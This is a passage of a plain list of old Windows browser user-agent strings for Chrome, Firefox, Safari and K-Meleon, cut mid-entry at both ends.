(KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.4 (KHTML, like Gecko) Chrome/6.0.481.0 Safari/534.4 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4 +Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1b3pre) Gecko/20090105 Firefox/3.1b3pre +Mozilla/5.0 (Windows; U; Windows NT 5.2; eu) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 +Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.0.04506.648) +Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 +Mozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 +Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.1.5) Gecko/Firefox/3.5.5 +Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.2) Gecko/20091111 Firefox/3.6 +Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.2) Gecko/20100101 Firefox/3.6 +Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-TW; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 +Mozilla/5.0 (Windows; U; Windows NT 6.0 (x86_64); de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre +Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre +Mozilla/5.0 (Windows; U; Windows NT 6.0; bg; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; ca; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 +Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 +Mozilla/5.0 (Windows; U; Windows NT 6.0; de) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 +Mozilla/5.0 (Windows; U; Windows NT 6.0; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 +Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 4.0.20506) +Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 +Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 (.NET CLR 3.0.30618) +Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 +Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR 3.5.30729) FirePHP/0.3 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 4.0.20506) +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.10 GTB7.0 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 ( .NET CLR 3.5.30729; .NET CLR 4.0.20506) +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.31 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.42 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.46 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.11 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.11 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.160.0 Safari/530.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.162.0 Safari/530.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.164.0 Safari/530.1 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.168.0 Safari/530.1 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.171.0 Safari/530.4 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.23 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.0 Safari/531.3 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.3 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.220.1 Safari/532.1 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.0 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.224.2 Safari/532.3 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.241.0 Safari/532.4 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.5 Safari/533.2 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/533.3 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.127 Safari/533.4 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.8 (KHTML, like Gecko) Chrome/7.0.521.0 Safari/534.8 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.7.13) Gecko/20050610 K-Meleon/0.9 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 GTB5 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.5.12 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.21022; .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 (.NET CLR 3.5.30729) FirePHP/0.4 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b2) Gecko/20081127 Firefox/3.1b1 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3) Gecko/20090405 Firefox/3.1b3 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.8) Gecko/20100722 BTRS86393 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C) +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-gb) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-us) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 +Mozilla/5.0 (Windows; U; Windows NT 6.0; es-AR; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 +Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB5 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.2) Gecko/20100115 Firefox/3.6 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; es-MX; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; es-es) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 6.0; fi; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 +Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 +Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 +Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b1) Gecko/20081007 Firefox/3.1b1 +Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 +Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 +Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528+ (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 6.0; id; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 +Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 +Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 +Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 GTB6 +Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 +Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 +Mozilla/5.0 (Windows; U; Windows NT 6.0; pl-PL) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 +Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 GTB7.1 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.2) Gecko/20100115 Firefox/3.6 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 +Mozilla/5.0 (Windows; U; Windows NT 6.0; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 +Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 +Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2) Gecko/20100105 Firefox/3.6 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2) Gecko/20100115 Firefox/3.6 +Mozilla/5.0 (Windows; U; Windows NT 6.0; sr; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 +Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.18) Gecko/2010020220 Firefox/3.0.18 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 +Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 +Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; tr-TR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 +Mozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre +Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 +Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 GTB7.1 +Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 +Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; ar; rv:1.9.2) Gecko/20100115 Firefox/3.6 +Mozilla/5.0 (Windows; U; Windows NT 6.1; ca; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 +Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 +Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) 